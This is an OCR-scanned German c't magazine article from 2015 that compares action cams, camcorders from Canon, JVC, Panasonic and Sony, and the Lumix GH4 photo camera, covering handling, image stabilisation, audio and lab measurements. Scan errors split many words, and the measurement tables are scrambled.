Sets oder fü r zusätz l iches Geld. 
So muss der Käufer des 480 Euro 
teuren Top-Mode l l s  Hero4 Black 
vom Branchenpr imus GoPro den 
aufsetzba ren Mon itor extra be­
zah len; ohne ihn kann  man die 
Aufnahme nur via App auf dem 
Smartphone beurte i len .  

Fast du rchgängig fi lmen d ie 
verschiedenen Model le in Fu l l  HD 
(1 920 x 1 080), a l lerd ings m i t  un ­
tersch iedl ichen Bi ldwiederholra­
ten. Unterstes Leve l dabei s ind 
30 Vo l l bi lder  pro Sekunde; wer 
die Kamera be im Sport einsetzen 
wi l l ,  so l l te aber mindestens mit 
50 oder 60 B i ldern/s aufnehmen 
können.  Fü r  schöne Zeit lupen ist 
e ine noch höhere B i ldrate nötig, 
wie s ie die GoPro Hero 4Biack 
( 1 20 Vol l bi lder/s i n  Fu l l  HD) mit­
br ingt - oft ist bei 1 20 B i ldern/s 
nicht mehr a l s  720p mögl ich.  

A l l e  Action-Cams legen bei 
lä ngeren Aufzeichnungen meh­
rere aufeinanderfo lgende Da­
teien an, wei l d ie  Date igröße -
abhängig vom Dateisystem - be­
schränkt ist; FA T32-formatierte 
Speicherka rten er lauben maxi­
mal 4 GByte g roße Dateien.  
Meist k lappt das nahtlos, sodass 
man die Dateien im Schn ittpro­
g ramm aneinandersetzen kann .  
Vereinzelt kam es be i  unseren 
Tests auch zu Lücken zwischen 
den Dateien, wenn d ie Kamera 
ein ige Bi lder ausgelassen hat. 

Camcorder 

Camcorder zeichnen i n  der Regel 
im  AVCH D-Format auf. Dank  
e ine r  e igenen Ordnerstruktu r  
fügen d ie Schn ittprogramme die 
Viedeos, d ie  h ier ebenfa l l s  i n  
zirka 20 Minuten langen Dateien 
verpackt sind, wieder zusam­
men. Dazu muss man auf d ie Da­
teistruktur zug reifen, nicht d i rekt 
auf d ie Videodateien. 

Der Wirbel um die Action­
Cams l ieß d ie Preise fü r d ie vie l  
a ufwendiger gebauten Camcor­
der in  den Kel le r  rauschen - und 
deren Image g leich mit .  Die vi-
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deofäh igen Fotokameras taten 
ein Übriges . . .  

So kommt es, dass auch Cam­
corder mit einem Listenpreis von 
600 Euro inzwischen fü r gut 400 
Euro zu haben s ind - und damit 
das N iveau teurer Action-Carn­
Model l e  erre icht haben.  So e in 
Mitte l klasse-Camcorder kommt 
mit e iner  beeindruckenden Aus­
stattung daher : optischer B i ld­
stab i l i sator, tritts icherer Autofo­
kus, ver läss l icher Weißabgle ich 
und hochwertige Tonaufzeich­
nung - fü r einen Camcorder s ind 
das Sel bstverständ l i chkeiten. 
Obend rein s ind gerade I nternet­
F i l memacher auf Automatiken 
angewiesen, d ie fü r d ie Bewegt­
bi ldaufzeichnung optimiert wur­
den .  Standard bei Camcordern :  
Der B i ldstab i l isator verh indert fi l ­
mische Erdbeben bei Aufnah­
men aus  der Hand.  

Konkret: l n  der Mitte lklasse 
findet man Model le wie den Pa­
nasonic HC-V7S7 oder den ab 
März verfügbaren HC-V777. 
Beide l i efern sel bst bei wenig 
Licht ansehnl ichere B i lder a l s  d ie 
meisten fi lmenden Fotokameras. 
Der V757  br ingt e inen sehr 
guten Autofokus mit und leistet 
e ine saubere Tonaufzeichnung .  

l n  Sachen Bi ldstab i l i sator s ind 
schon E insteiger-Camcorder fü r 
unter 300 Euro jeder anderen Ka­
mera-Gattung haushoch überle­
gen. Ab etwa 500 Euro bekommt 
man Geräte mit sehr guter 
Audioeinheit, ordent l ich bed ien­
barer Zoom-Wippe und weit­
gehend manue l le r  Kontro l l e  
über  d ie  Aufna hmepa ra meter. 
Im praktischen E insatz kann  so 
e in Camcorder du rchaus mit 
Profi-Model len mithalten. 

I nzwischen g ibt es erschwing­
l iche 4K-Camcorder - wie den 
HDR-AX1 00 (1 700 Euro) und den 
gerade auf der CES vorgestel lten 
FDR-AXP33 von Sony oder den 
Panasonie HC-WX979 (Preise ste­
hen noch nicht fest). Al lerdings ist 
bei d ieser hohen Auflösung der­
zeit bei 30 Vol l bi ldern/s Schl uss. 
Unter den genannten Model len 
enthä lt der Sony AX1 00 einen 
verg leichsweise g roßen Sensor -
mit einem Zol l  Diagonale - und 
bietet dadurch d ie Mög l ichkeit, 
ähn l ich wie bei einer Fotokamera 
mit der Schärfentiefe zu spielen. 

Auf den relativ niedrig auflö­
senden Disp lays fä l l t  es a l ler­
d ings  schwer, d ie  Schä rfe von 
4K-Aufnahmen vernünftig zu be­
u rtei len.  Da s ind H i l fen wie Pea­
king (fa rbiger Saum um die 
scha rf da rgeste l l ten Deta i l s  im 

c't 20 1 5, Heft 5 

Bi ld) und sicher g reifender Auto­
fokus oder eine Lupenfunkt ion 
im Kontrol l-Display sehr wi l l kom­
men. ln den günstigeren 4K­
Camcordern werden verg leichs­
weise kle ine Sensoren verbaut, 
d ie  e inen g roßen Schä rfenbe­
reich bed ingen; d iese Camcor­
der-typische, weitgehend vom 
Vorder- zum H interg rund du rch­
gehende Schä rfe ist s innvol l ,  so­
lange man nicht beim F i lmen 
e inen sepa raten großen Mon itor 
zur Schä rfenkontro l l e  e insetzen 
wi l l .  

D ie  inte l l igenten Automatiken 
fü r Autofokus und Bel ichtungs­
steuerung sprechen fü r den 
Camcorder. Wer Ur l aubs- oder  
Fami l iener lebn isse auf Video 
bannen möchte, wird eine be­
d iensichere Arbeitsweise der 
Techn ik bevorzugen, um missra­
tene, aber nicht wiederho lbare 
Videos zu vermeiden. Manue l l e  
Pa rameter-E inste l l u ngen i n  d i ­
versen Menüs mögen fü r den auf 
B i ldeffekte und  -Wi rkung be­
dachten Videoamateur  wi l l kom­
men sein, doch zeitraubend und 
nervig s ind sie fü r den, der ohne 
lange Vorbereitung ansprechen­
de Aufnahmen fi lmen wi l l .  

Fotoapparat 

Wer wiederho lbare Moderatio­
nen, zeitunkritische Landschafts­
aufnahmen oder Szenen mit 
Schauspie lern aufzeichnen wi l l  
und dabei fi lm ische Qua l itätsan­
sprüche und Methoden i n  den 
Vorderg rund rückt, der g reift zu 
einer Fotokamera. Dann  kann er 
das damit  gebotene Potenzia l 

der wechselbaren Optiken, der 
Schä rfentiefe und der manue l len 
Steuerung ausreizen. Verg l ichen 
mit (Semi-)Profi-Camcordern, die 
dank Wechsel bajonett mit ver­
schiedenen Optiken bestückt 
werden können, s ind DSLR- und 
Systemkameras sehr günstig zu 
haben. Genau das hat den Hype 
um d ie fi lmenden Fotokameras 
ausgelöst - auch wenn d ie meis­
ten F i lm-Amateure eher spontan 
a rbeiten. 

Genau bei dieser spontanen 
Vergehensweise s ind aber Foto­
kameras gegenüber den Camcor­
dern im Nachte i l :  Die automati­
sche Fokussierung ist auf die fü r 
Fotos nötige hohe Reaktions­
geschwindigkeit optimiert, beim 
F i lmen braucht man eher eine 
gute Objektverfo lgung, d ie un­
auffä l l ig und weich d ie nötigen 
Schärfenkorrekturen vorn immt. 
Trotz massiver Verbesserungen 
können die DSLRs i n  d iesem 
Punkt mit dem sehr hohen 
Niveau der Camcorder nicht mit­
halten. 

Einer der g rößten Nachte i le 
der Fotokameras b le ibt die Be­
grenzung der Aufnahmedauer: 
Um die bei Videokameras anfa l­
lende höhere Importsteuer zu 
umgehen, beenden Fotokameras 
die Videoaufzeichnung nach spä­
testens 29:59 Minuten - eine 
durchgängige Aufzeichnung von 
Konzerten oder Theatervorfüh­
rungen ist nicht mögl ich. Für ver­
breitete Mode l le  fi ndet man je­
doch - garantieschäd l iche - Firm­
ware-Hacks, d ie d iese Begren­
zung aufheben und oft weitere 
versteckte Funktionen freigeben. 

Spezia l ist fürs Grobe: Action-Cams eignen sich für Aufgaben, bei 
denen der Camcorder passen muss - nur nicht für Hochzeitsvideos. 

Prüfstand I Videocamcorder 

Auch bei der Handhabung 
warten v ie le  Fotokameras mit 
kla ren Nachtei len auf: Sie bezie­
hungsweise ih re Objektive ent­
halten nur  sehr selten einen mo­
torischen Antrieb, der fü r saube­
re Zooms bei laufender Aufnah­
me geeignet ist .  Erst mittels eines 
teu ren Rigs lassen sich Räder an­
koppeln, um weiche Zooms und 
Schä rfever lagerungen mit defi­
niertem Sta rt- und Endpunkt h in­
zubekommen. Al lerdings nutzen 
Profis meist keine Fotoopti ken, 
sondern spezie l le, teure F i lmob­
jektive mit Zahnkranz und länge­
rer mechanischer Übersetzung. 

Sch l ieß l ich wirkt sich oft das 
aufs Fotografieren optimierte Be­
d ienkonzept der Fotokameras 
unangenehm aus. Kopflastige 
Kombinationen von Kamera und 
Objektiv, in  den Menüs vergrabe­
ne Videofunktionen und -pa ra­
meter und die in  den Ton durch­
sch lagenden Handhabungsge­
räusche führen zu mancher Ent­
täuschung. 

Ton 

Überhaupt wird der akustische 
Tei l  der Videos bei Smartphone 
und Fotokamera oft stiefmütter­
l ich behande lt. Die meisten 
Camcorder warten hingegen mit 
brauchba rem bis gutem Stereo-, 
wenn nicht Su rround-Sound auf. 
Die Mög l ichkeit, e in externes Mi­
krofon anzukoppeln oder die 
Tonspur  manue l l  auszusteuern, 
ist bei Camcordern fast sel bst­
verständ l ich. Dagegen speichern 
vie le Smartphones, Action- und 
Fotokameras quäkenden, ra u­
schenden (Mono-)Ton, der d ie  
tastenden F inger des Kamera­
manns ebenso dokumentiert 
wie den Seitenwind beim Dreh ­
und oft von e iner rabiat a rbei­
tenden Aussteuerungsautomatik 
dynamisch eingeebnet wird. 

Klappe 

F i lmen können s ie a l le .  Ob 
Smartphone oder Fotoappa rat, 
Action-Cam oder Camcorder: Mit 
jedem dieser Geräte kriegt man 
spannende, sehenswerte C l ips 
h in  - aber  am besten geht das 
natür l ich mit einem zur Aufgabe 
passenden Werkzeug.  

Auf den folgenden Seiten fin­
den Sie d ie  Ergebn isse unserer 
Praxistests und Labormessungen 
von vier Camcordern der Top­
Klasse im Due l l  mit e iner ange­
sagten Fotokamera mit Video­
ambit ionen. (uh@ct.de) c'l: 
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N atür l ich wünscht man sich, 
dass d ie  eigenen Videos 

klasse aussehen - H ingucker mit 
knackigen Farben, zweife lsfreier 
Schä rfe und geschickt gewäh l ­
tem B i ldausschn itt Ob s i ch  sol­
che Wünsche i n  der Praxis mit  
bezah lbarem Equ ipment erfü l len 
lassen, mussten vier Top-Cam­
corder unter Beweis stel len - im 
d i rekten Verg le ich mit e inem 
Fotoapparat, der a l s  F i lm-Kame­
ra eine a l lemal gute F igur  macht: 
der Lumix GH4. Camcorder wie 
Fotokamera rang ieren dabei am 
oberen Ende der Preisska la  - in 
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der Preisklasse um 1 500 Eu ro 
(Straßenpreis) .  Dort tummeln  
s i ch  d ie h ier  vorgeste l l ten vier 
Model le von Canon, JVC, Pana­
sonie und Sony. Bei JVC haben 
wir das derzeit ige Top-Mode l l  
gewählt, das  man fü r weniger a l s  
830 Eu ro (Straße) bekommen 
kann  - teu rere Geräte bietet der 
Videopionier aus  Japan i n  der 
Amateu r-Klasse nicht an .  Um 
den 4K-fähigen Sony FDR AX 1 00 
g ing es schon in c't 1 4/1 4; trotz­
dem haben wir d iesen Camcor­
der noch e inmal  ins Testfe ld auf­
genommen. 

Neben den Messwerten aus 
dem Prüflabor kam es uns auf die 
Handhabung an :  Wie unbeirrba r 
a rbeiten Autofokus und Bel ich­
tungssteuerung, wie feh lerfrei 
kommt der Camcorder mit wech­
selnden Beleuchtungssituationen 
kla r  und was leistet die Techn ik 
gegen verwackelte Aufnahmen? 

Gerade hier br ingen die Cam­
corder ih re Stä rken ins Spie l :  Fo­
toappa rate wa rten i n  der Regel 
n icht mit videotaug l ichen Zoom­
Objektiven auf, stehen verwa­
ckelten Bewegtbi ld-Aufnahmen 
mange ls  Stabi l i sator meist h i lflos 

gegenüber und manchmal  zei­
gen s ich B lenden- wie Weißab­
g leichssteuerung eher sprung­
haft statt weich fl ießend. 

Um das, was die vier Camcor­
der zu bieten haben (und was 
n icht), geht es zunächst - den 
Verg leich zur Lumix GH4 ziehen 
wir ansch l ießend. Die Tabel l e  auf 
Seite 1 5 1 nennt a l le wichtigen 
technischen Eckwerte und un­
sere Bewertungen d ieser fünf 
Kandidaten, die Ergebnisse der  
Labormessungen fasst das Ba l­
kend iagramm auf Seite 1 48 
zusammen. 
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Ca non G30 

Se ine Lichtstärke kann mit man­
chem Foto-Objektiv mithalten: 
Der Canon G30 bietet einen 20-
fachen Zoom bei Blendenöffnun­
gen zwischen 1 : 1 ,8 und 1 :2,8, das 
erfreu l ich weit ins Weitwinkl ige 
h ine inreicht. Bed ient wird er 
über das Touch-Display, auf dem 
eine gut du rchdachte Menü­
struktur  e in ebenso ge lungenes 
Bed ienkonzept umsetzt. 

Der eingebaute 3-M Pixel-Sen­
sor zeigt gute bis sehr gute Ab­
b i ldungsle istungen. Seine Auflö­
sung ist auf Fu l l  HD ausgelegt -
mit a usreichenden Reserven fü r 
einen hybriden, a l so optisch und 
elektronisch a rbeitenden Bi ldsta­
b i l isator. Das deta i l scha rfe, sau­
ber kontrastierende OLED-Dis­
play ste l l t  Schä rfenkontro l le  und 
Lesba rkeit der e ingeb lendeten 
Menüs g leichermaßen sicher. 
Der klappbare Sucher zeigt ein 
akzeptabel scha rfes, nicht son­
der l ich hel les Bi ld .  

F rei be legbare Tasten rufen 
etwa d ie Zebra-Funktion, den 
Wei ßabgleich oder d ie  Aufnah­
merückschau auf. Das spart Um­
wege ins  Camcorder-Menü, wo 
man eher selten gebotene Aus­
stattungsdeta i l s  fi ndet wie ein 
Testbi ld (Farbba l ken) und einen 
1 000-Hz-Testton. Mit dem Dreh­
ei nste l l e r  neben dem Objektiv 
steuert man B lende, Shutter 
sowie Gain; umgescha ltet wird 
mit der Custom-Taste. Die 
Brennweite verändert man mit 
der gut  dosierba ren Zoom­
Wippe. Zum Scha rfste l l en  dient 
der zwa r n icht d i rekt mecha­
n isch gekoppelte, aber h in rei­
chend d i rekt wirkende Objektiv­
Ring. Auf dem Display lässt sich 
d ie B i ldschärfe, auf Wunsch mit 
H i lfe der B i ld l upe, kontro l l ieren. 

Die Peaking-Funktion umg ibt 
a l l e  scha rf abgebi ldeten Umrisse 
im Bild mit e inem fa rbigen 
Saum, was das Fokussieren ver­
ei nfacht. Der Autofokus im G30 
war auch bei schne l len Zoom­
Fahrten oder Schwenks kaum 
aus dem Tritt z u  br ingen. Der au­
tomatisch zugescha ltete Grau­
F i lter (ND) so l l  das F i l men bei 
sehr he l lem Licht vereinfachen, 
dann wi rken aber  d ie  B lenden­
abstufungen g röber a ls ohne 
den F i lter. Der  Ca non-spezifische 
B l i tzschuh versorgt geeignetes 
Zubehör über  die i nteg r ierten 
Ansch lü sse. Sel bstaus löser oder 
Komponentenansch l uss feh len .  
Fernsteuern lässt s ich der  G30 
über d ie  mitge l ieferte Fernbe­
d ienung oder via Browser auf 
dem Smartphone über WLAN. 

Die Videodaten lagern auf 
zwei SDXC-Ka rten, d ie  abwech­
sel nd beschr ieben werden; 
einen eingebauten Speicher hat 
der G30 nicht .  Der Akku wird 
über das Netztei l  im Camcorder 
ge laden, e in sepa rates Ladege­
rät, das die Nutzung eines Zweit­
akkus erla uben würde, feh lt. 

Das Touch-Display des JVC GC PX 1 00 
lässt sich nach oben und unten 
schwenken, aber nicht zur Seite drehen. 
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Prüfstand I Videocamcorder 

Mit gutem Bi ldstabi l isator und über­
zeugendem Bedienkonzept wartet 
der Ca non Legria HF G30 auf - und 
mit e inem 20-fach optischen Zoom. 

Auch i n  sehr sparsam ausge­
leuchteten Situationen, mit akti­
vem Ga in  ( 1 6 dB) und Offen­
blende l i efert der  Ca mcorder 
dank des bemerkenswert souve­
ränen B i ldstab i l isators noch ru­
h ige Videos: Gepaart mit dem 
treffs icheren Autofokus er la ubt 
d ies sel bst dann  Zoom-Ein­
ste l l u ngen bis etwa 1 0-fach. Die 
Zeit l upenfu nkt ion lässt die 
Szene a ngenehm weich i n  ha l ­
ber  Geschwind igkeit abla ufen.  

Der G30 speichert Fu i i-HD-Vi­
deos mit bis zu 50 Vol l bi ldern/s, 
d ie F i lm-typische B i ldrate mit 24 
Vo l l b i ldern/s feh lt . Optiona l  a r­
beitet der G30 auch in MP4-Ko­
dierung und mit höherer Daten­
rate, doch ergaben sich bei 
Schwenks und Kamerafah rten 
kaum erkennba re Vorte i le  ge­
genüber dem platzspa renden 
AVCHD. 

Das 20-fache Zoom-Objektiv 
machte i n  der Praxis einen her­
vorragenden E indruck, auch 
wenn es s ich  im Labor  a l s  nicht 
ganz so l i chtsta rk wie d ie der 
teu reren Mitbewerber erwies. 
Das Bi ld rauschen, wenn auch bei 

schwacher Be leuchtung und in 
Kunstl ichtsituationen etwas aus­
geprägter, füh rte i nsgesamt zu 
einer kaum wahrnehmba ren 
Versch lechterung. 

Empfind l ichkeit und Richtwir­
kung des eingebauten Mikro­
fons kann  man verändern; auf 
Wunsch speichert der Canon i n  
Mono. Im  Kopfhörer kl ingt d i e  
Tonspur  ehe r  matt und  etwas 
m itten lastig, was s ich im  Labor 
bestätigt. Im  Menü lässt s ich eine 
a l ternative Cha rakterist ik wäh­
len, was etwa den Höhen mehr 
Ge ltung verschafft. 

JVC GC-PX 1 00 

Der kompakteste Camcorder im 
Testfe ld ähnelt am ehesten einer 
Fotokamera. Dazu passen seine 
technischen Eckwerte: 1 2  MPixel 
Wand lerauflösung fü r Standfo­
tos und Fu i i -HD-Videoaufnahme 
sowie e in 1 0-faches l i chtsta rkes 
Zoom-Objektiv (B lende 1 : 1 ,2) .  
Zeitraffer und - I upe kombin iert 
der JVC dabei mit schne l len 
Fotoserien, d ie bis zu 1 00 B i lder  
i n  zwei Sekunden speichern. 

Der JVC GC PX 1 00 ähnelt einem Foto­
apparat. Seine hohe Bi ldqual ität kombin iert 
er mit Funktionen einer Action-Cam. 
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Prüfstand I Videocamcorder 

Eine inte l l igente Vo l l automati k 
sorgt fü r ge lungene Videos -
dank der unauffä l l igen Blenden­
steuerung und des souveränen 
Autofokus. Videos und Fotos zei­
gen eine beachtl iche Schä rfe. 

Die Bed iene lemente fa l len 
recht spa rsam aus .  Zum Scha rf­
ste l len d ient e in praktischer Ob­
jektivri ng, nachdem man mit 
dem Knopf d i rekt daneben von 
Auto- auf manue l len Fokus um­
gescha ltet hat. F ü r  die rechte 
Hand g ibt es den Aufnahme-/ 
Foto-Aus löser, den Modus­
umschalter (Aufnahme/Wieder­
gabe) und die Zoom-Wippe; 
damit ändert man die Brennwei­
te fl üssig - und bequemer als bei 
vielen Fotokameras. Futu ristisch 
mutet die Kombination aus d rei 
Tastern (B lende, Bel ichtungszeit, 
Set) und einem Drehrad an, d ie 
in  einer kleinen, para l le l  zum Ob­
jektiv nach vorn ragenden Säu le  
integr iert wurde . . .  e ine neue 
Idee fü r e in Bed ienkonzept, vor 
a l l em fü r Leute mit feinen F in­
gern geeignet - aber doch weit 
weg von dem, was man von 
Foto- und Videokameras kennt. 

Per Touchdisplay lässt sich 
schnel l  zwischen vol lem 1 0-fach­
Zoom und Weitwinkel umscha l­
ten. Den Weitwinkel (29 mm KB­
äquiva lent) schränkt der optische 
B i ldstabi l isator etwas ein; seine 
Wirkung könnte JVC noch verbes­
sern. Besonders ge lungene Sze­
nen kann man mit einem Marker 
versehen, so findet man sie spä­
ter ei nfacher. Das Menü zeigt 
eine eigenwi l l ige Struktur, an die 
man sich erst gewöhnen muss -
die grund legenden Funktionen 
sind aber einfach zugängl ich. 

Videos speichert der JVC mit 
maxima l  36 MBit/s a l s  AVCH D, 
MP4 oder MOV; da sol l te fü r jede 
System- und Softwa replattform 
etwas dabei sein . Fotos bei lau­
fender Videoaufnahme zu schie­
ßen, ist nicht vorgesehen. 

JVC l iefert e inen praktischen 
Aufstecksucher mit, e in ausfa l t­
barer, etwas wackel iger B lend­
schutz so l l  das Display bei Auf-

Messergebn isse 
Modell Farbabweichung 1 bei 

Tageslicht Kunstlicht 

nahmen im Sonnenschein besser 
ablesba r machen - mit akzepta­
blem Ergebnis . Der PX-1 00 lässt 
sich auch mit dem Smartphone 
bed ienen, was per Ad-hoc-WLAN 
erfolgt .  E ine eigene Fernbedie­
nung l iefert JVC nicht mit. 

Das e ingebaute Mikrofon 
sorgt fü r e inen klaren, weitge­
hend nebengeräuschfreien Ton .  
Die Lautstä rke eines zusätzl ich 
angekoppelten Mikros lässt s ich 
i n  Grenzen beeinfl u ssen, e ine 
manue l le  Aussteuerung fü r den 
Ton feh lt  aber. 

Die Laborergebnisse beschei­
nigen dem JVC eine bei Tages­
l icht beacht l iche Schä rfe, ge­
paa rt mit erfreu l i ch ger ingem 
Rauschen bei schwachem Licht. 

Rauschen' bei 

Die Fa rben kommen kräftig und 
wirken lebendig; d ie Fa rbabwei­
chungen fa l len eher ger ing aus. 
Bei Kunstl icht kommt es zu einer 
insgesamt wärmeren Grundstim­
mung .  Die Aud io-Messungen 
rechtfertigten gute bis sehr gute 
Noten. 

Panasonie AG-AC-90 

Mit Abstand der g rößte Camcor­
der im Testfe ld :  A ls  klassischer, 
satt a usgestatteter "Henkel­
mann" bringt er e in voluminöses 
Objektiv mit a us ladender Ge­
gen l ichtb lende, XLR-Steckver­
b inder fü r Mikrofone, ein im 
Grifftei l  versenkbares Disp lay 
und den ausklappba ren Sucher 

Kontrast 2 

Viele Funktionen 
auf separaten Tastern: 

Der Panasonie AG-AC-90 
stel lt  eine professionel le 

Bedienschnittstel le  bereit ­
einschl ießl ich dreier Objektivri nge 

fü r Zoom, Fokus und Blende. 

ab  Werk mit - zweckmäßig, ro­
bust. An der Unterseite ist e in 
g roßes Stativgewinde (3/8") e in­
gebaut, n icht nu r  im Prosumer­
Markt eine Seltenheit. 

Das 1 2-fach-Zoom-Objektiv 
weist eine erfreu l ich weitwinkel i ­
ge Anfangsbrennweite auf. Be­
quem bed ienen lässt s ich die 
Optik mit den d rei R ingen fü r 
Fokus, Zoom und B lende.  Zwa r 
steuern d ie End los-Ringe "nu r" 
Sensoren, nicht d ie Opti k, trotz­
dem hat man einen du rchaus di­
rekten Zugriff auf d iese Kamera­
Parameter. Nur beim Zoom-Ring 
wünscht man sich eine präzisere 
Wirkung .  Mit der gut dosie rba­
ren Zoom-Wippe bedient, rea­
g iert die Opti k so exakt wie ge-

Auflösung 

lowlight Tageslicht Kunstlicht lowlight bei Kunstlicht bei lowlight absolut horz. absolut vert. 
(1 000 lx) JL\E] ( 150  lx) [L'>E] (30 lx) [L'>E] [o/o [o/o] [o/o] [o/o] [o/o] [Linienpaare3] [Linienpaare3] 
� � ... <llll besser � b- -<41 besser <lllll besser � b""' besser ..- b- � �ser ..,_ besser ..,_ 

Canon legria G30 - 1 0,3 - 25,4 - 1 9,9 - 9,3 - 9,4 - 1 1 ,4 - 64 - 30 - 612 - 554 
JVC GC -PX 1 00 - 1 5,5 - 1 1 ,1 - 13,8 - 24,8 - 1 1 ,7 • sA - 83 - 43 - 657 - 643 
Panasonie AG-AC 90 - 21,2 - 1 2,7 - 1 5,8 - 1 0,9 - 1 6,6 - 9.0 - 77 - 57 - 744 - 802 
Sony HDR-AX 1 00 - 7,7 - 1 2,0 - 1 1 ,8 - 9,4 - 1 1 ,2 - 9,5 - 79 - 49 - 7 1 0  - 7 1 6  

lumix GH 4 - 8,0 - 20,3 - 3 1 ,4 - 9,1 - 7,6 - 20,1 - 93 - 72 - 960 - 960 

1 ermittelt aus 8 Farben 1 im Vergleich zu Tageslicht 3 bezogen auf die Bi ldbreite 4 gemittelt aus al len Messwerten, bezogen auf Vol lkontrast = 1 
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wünscht. Am Griff oben befindet 
sich e in zusätz l icher Aufnahme­
Knopf sowie eine weitere Zoom­
Wippe. 

Der 3-Chip-Wand le r  verwen­
det jewei ls  1 /4, 1 Zo l l  große Sen­
soren, was eine feiner abgestufte 
Fa rbwiedergabe und eine höhe­
re Deta i l schärfe als bei E in-Chip­
Wand lern verspricht. Der opti­
sche Bi ldstabi l i sator a rbeitet sehr 
zuverlässig und ohne An la uf­
ruckler . Als na rrensicher erwies 
s ich der souverän a rbeitende 
Autofokus. 

Bedient wi rd der AC90 über 
e in auszieh- und d rehba res Dis­
p lay, das e in he l les, fü r d ie vielen 
Anzeigen fast zu kleines B i ld an­
zeigt. E ine beachtl iche Zah l  von 
Tastern und Knöpfen im  Feld 
h i nterm Display er la uben die 
Umscha l tung (manue l l/a uto) 
von Fokus und B lende ebenso 
wie d ie schne l le Aktivierung von 
H i lfen wie dem Fokus-Assisten­
ten oder dem Zebra fü r d ie  Be­
l ichtungskontro l le .  Beim manu­
e l len Scha rfste l len h i l ft das prak­
t ische Peaking .  E ine e lektron i ­
sche Lupe fü rs Disp laybi ld fehlt .  

Drei sepa rate Taster - p lus  
v ie r  weitere, über den Touch­
screen zugäng l iche Buttons -
lassen sich frei belegen; ab  Werk 
hat man so Zug riff auf die Auf­
he l l ung des B i ldes bei Gegen­
l icht, auf das H i stog ramm und 
d ie manue l l e  Nachführung der 
Schä rfe ("push auto"). Auch d ie 
Aufnahmerückschau sta rtet man 
damit, ohne s ich per Touch­
screen du rchs Menü zu hangeln .  

Die Videodaten schreibt der 
AC90 auf SDXC-Ka rten im dop­
pelten S lot oberha lb  des Akku­
schachtes. Die Ka rten werden 
dabei nachei nander beschrie­
ben; a lternativ erzeugt der Cam­
corder  e in  Backup, indem auf 
beiden Ka rten g leichzeit ig der 
a ktue l l e  Videodatenstrom ge­
speichert wird. Um die Betriebs­
dauer muss man sich keine Sor­
gen machen; der dicke Akku hä lt 
mehr a l s  sechse inha l b  Stunden 
du rch. 

Die Audio-Abtei l ung  ist opu­
lent: Das Su rround-Mikro l iefert, 
auf Stereo gescha l tet, e in sehr 
rä um l ich wirkendes S igna l ,  das 
sehr wenig Stör- und Handha­
bungsgeräusche enthä lt .  Jeder 
der beiden Aud io-Ei ngänge lässt 
sich auf internes Mikro oder ex­
terne S igna lque l l e  umscha lten, 
e ine du rchsichtige Abdeckung 
schützt d ie  Schiebeschalter vor 
Fehl bed ienung .  Den Pegel kann  
man manue l l  e instel len .  D ie  XLR­
Buchsen ste l len - schaltbar - die 
48 Vo lt der Phantomspeisung 
bereit. 

Die Erwartungen an  e inen 
Drei-Ch ip-Wand ler  konnte der 
AC90 im Labor erfü l len .  Bei Ta­
gesl icht l ieferte er eine du rchge­
hend hohe Auflösung von über 
800 L in ienpaaren, d ie sel bst im 
Schwach l ichtbereich b i s  600  Li­
n ienpaare reichte; dann zeigt der 
AC90 ein etwas dunkleres Bi ld a ls 
etwa das Model l  von Sony, l iefert 
aber akkurate, erfreu l ich rausch­
arme Videos mit zu rückhaltender 
Fa rbwiedergabe. Schaltet man 
von 50p auf 25p, kommt es zu 
leichten Schl ieren. 

Im  Audiosignal vermissten wir 
ein bisschen den du rchsetzungs­
sta rken Bass, ansonsten zeigten 

relativ4 vert. absolut realtiv 
[%] Jlinienpaare3] lo/ol 

besser ..,_ b""' � besser ., besser ..- <llll besser 

- s8 - 51 - 1 94 - so 
- 68 - 71 - 135 - 28 so 
- 74 - 73 229 61 
- 64 - 70 - 1 99 - 52 

95 93 - 207 59 
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die Messungen einen guten Fre­
quenzgang bis 20 000 Hz. 

Sony FDR AX 1 00 E 

Als einziger Camcorder im Test­
fe ld fi lmt Sonys Camcorder FDR 
AX 1 00 mit 3840 x 2 1 60 Pixe ln  i n  
"U ltra HD". Das  robuste Gehäuse 
ist profess ionel l  vera rbeitet. Be­
d ient wird der Camcorder über  
das 8,9-Zo i i -Touchdisp lay, des­
sen He l l i gkeit auch im pra l l en  
Sonnenschein ausreicht. l n  ex­
tremen Situat ionen er la ubt der  
e lektronische Sucher  mit OLED­
Farbdisp lay e ine brauchba re 
Qua l itätskontro l le. 

Überzeugend arbeitet der op­
tische Bi ldstab i l isator, der in der 
Ste l l ung "aktiv" zwar den B l ick­
winkel etwas beschneidet, dann 
aber noch fester zupackt a l s  d ie 
Standa rd-Version. I nsgesamt ver­
dient die Ausstattung - Beispie l :  
der d reistufige ND-Fi lter - sehr 
gute Noten, den Akku ausge­
nommen, der gerade mal e ine 
knappe Dreiviertelstunde 4K-Auf­
nahme durchhält. 

Die Steuerung von Bel ichtung 
und Schä rfe erfolgt vo l l automa­
tisch und mit guten Ergebnissen, 
wenn auch mit e inem Autofo-

durchschnittlich 
!Hz] ldB] 
besser ., besser • 

90 - - 9500 - 7,2 
20 000 - 5.4 

140 - 20 000 - 7.0 

1 20 - - 14 000 - 8,5 
100 - - 1 3 100 1 5,8 
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Als einziger Camcorder 
im Testfeld speichert der 

Sony FDR AX 1 00 E Videos 
in  41</UHD - a lso mit 

3840 x 2 1 60 Pixe ln .  Bi ld­
qua l ität und Handhabung 

rechtfertigen Spitzen­
bewertungen. 

kus, der h ier und da etwas träge 
ag iert. Nach einem ku rzen Druck 
auf "Manua l "  verändert man mit 
dem - ung lückl ich positionierten 
- Dreh reg ler  unterha l b  des Ob­
jektivs die Be l ichtung summa­
risch (B lende und Be l ichtungs­
zeit) . Drückt man zweima l  auf 
"Manua l ", scha ltet s ich die 
Bel ichtungsautomatik aus, die 
aktue l l en  Werte werden ge­
speichert. Mit den Tastern fü r 
Blende, Gain und Bel ichtungszeit 
lassen sich d iese Pa rameter auch 
im automatischen Modus beein­
fl ussen. 

Der Objektivr ing steuert die 
motorische Brennweiten- oder 
Schärfenverstel l ung direkt genug, 
um eine akzeptable Haptik zu er­
zielen. Die Tasten hinter der Dis­
p lay-Klappe fü r Weißabgleich 
und ausgerechnet Nightshot fin­
det man im Dunke ln nicht. Noch 
unglücklicher l iegen die Taster für 
manue l len/Auto-Fokus und d ie 
praktische Fokus-Vergrößerung 
(Lupe); den vergrößert dargestel l ­
ten Bereich des Kontro l lbi ldes im 
Display kann man per  F ingertipp 
auswählen, was das Scha rfstel len 
ebenso er leichtert wie die roten 
Ränder der Peaking-Funktion. Am 
HDMI-Ausgang steht zwa r e in 

maximal bei 
[dB] !Hz] 
besser ..,. 

